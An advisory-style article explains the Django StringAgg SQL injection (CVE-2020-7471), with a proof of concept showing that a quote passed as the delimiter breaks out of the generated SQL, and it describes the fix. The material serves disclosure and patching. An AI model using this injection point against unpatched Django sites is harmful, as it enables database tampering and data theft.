Japanese edition

This article describes the Django vulnerability CVE-2020-7471, which was fixed on February 3, 2020.

This vulnerability allows SQL injection

This vulnerability allows SQL injection

Please refer to the following for release information on the official website.

Django security releases issued: 3.0.3, 2.2.10, and 1.11.28 | Weblog | Django

Affected Versions

The following versions are affected.

  • Django master branch
  • Django 3.0
  • Django 2.2
  • Django 1.11

Vulnerability description[Potential SQL injection via StringAgg(delimiter)]

The class django.contrib.postgres.aggregates.StringAgg for using the PostgreSQL STRING_AGG function had a SQL injection vulnerability. It is possible to embed an arbitrary query in the value passed to the delimiter parameter at initialization.

Proof of Concept

The libraries, Python and database versions used in the sample code are as follows.

  • Libraries
    • Django 3.0.2
    • psycopg2-binary 2.8.4
  • Python 3.8.1
  • Database
    • PostgreSQL 9.6.16

Create a database on PostgreSQL in advance, and change the DATABASES of the Django project to connect to PostgreSQL. (The following is a modification example)

1
2
3
4
5
6
DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.postgresql_psycopg2',
        'NAME': 'cve_2020_7471',
    }
}

Add an application called example to the Django project and write the following code.

example/models.py

1
2
3
4
5
from django.db import models


class Example(models.Model):
    field = models.CharField(max_length=30)

Execute ./manage.py makemigrations && ./manage.py migrate to create the database tables to be used this time. Make test data on the shell command.

1
2
3
4
5
6
7
>>> from example.models import Example
>>> Example.objects.create(field='foo')
<Example: Example object (1)>
>>> Example.objects.create(field='bar')
<Example: Example object (2)>
>>> Example.objects.create(field='test')
<Example: Example object (3)>

Next, let’s use StringAgg on the shell command. First, check for correct behavior.

1
2
3
4
>>> from django.contrib.postgres.aggregates import StringAgg
>>> from example.models import Example
>>> Example.objects.aggregate(result=StringAgg('field', delimiter=';'))
{'result': 'foo;bar;test'}

The string foo;bar;test is created between the ; specified in delimiter. However, if you set delimiter="'", it will be like this.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
>>> Example.objects.aggregate(result=StringAgg('field', delimiter="'"))
Traceback (most recent call last):
  File "/Users/ryu22e/develompent/temp/cve_2020_7471/.venv/lib/python3.8/site-packages/django/db/backends/utils.py", line 86, in _execute
    return self.cursor.execute(sql, params)
psycopg2.errors.SyntaxError: unterminated quoted string at or near "''') AS "result" FROM "example_example""
LINE 1: SELECT STRING_AGG("example_example"."field", ''') AS "result...
                                                     ^


The above exception was the direct cause of the following exception:

Traceback (most recent call last):
  File "<console>", line 1, in <module>
(Omitted)
    return self.cursor.execute(sql, params)
django.db.utils.ProgrammingError: unterminated quoted string at or near "''') AS "result" FROM "example_example""
LINE 1: SELECT STRING_AGG("example_example"."field", ''') AS "result...

Let’s take a look at the overall query that is actually generated.

1
2
>>> q = Example.objects.annotate(result=StringAgg('field', delimiter="'")).query; str(q)
'SELECT "example_example"."id", "example_example"."field", STRING_AGG("example_example"."field", \'\'\') AS "result" FROM "example_example" GROUP BY "example_example"."id"'

Since the character passed to delimiter is not escaped, SQL with syntax error is generated. If you devise it, you can insert another query into delimiter.

Which Code Was Wrong and How It Was Fixed

See the GitHub code below for the actual changes.

In django.contrib.postgres.aggregates.StringAgg .__init__, the code was to insert delimiter directly into the expression using Python string embedding. Therefore, the code was wrapped with django.db.models.Value once and the value embedding was left to the database. Since escape processing is not performed in Django, there is no omission of this change and another pattern of SQL injection.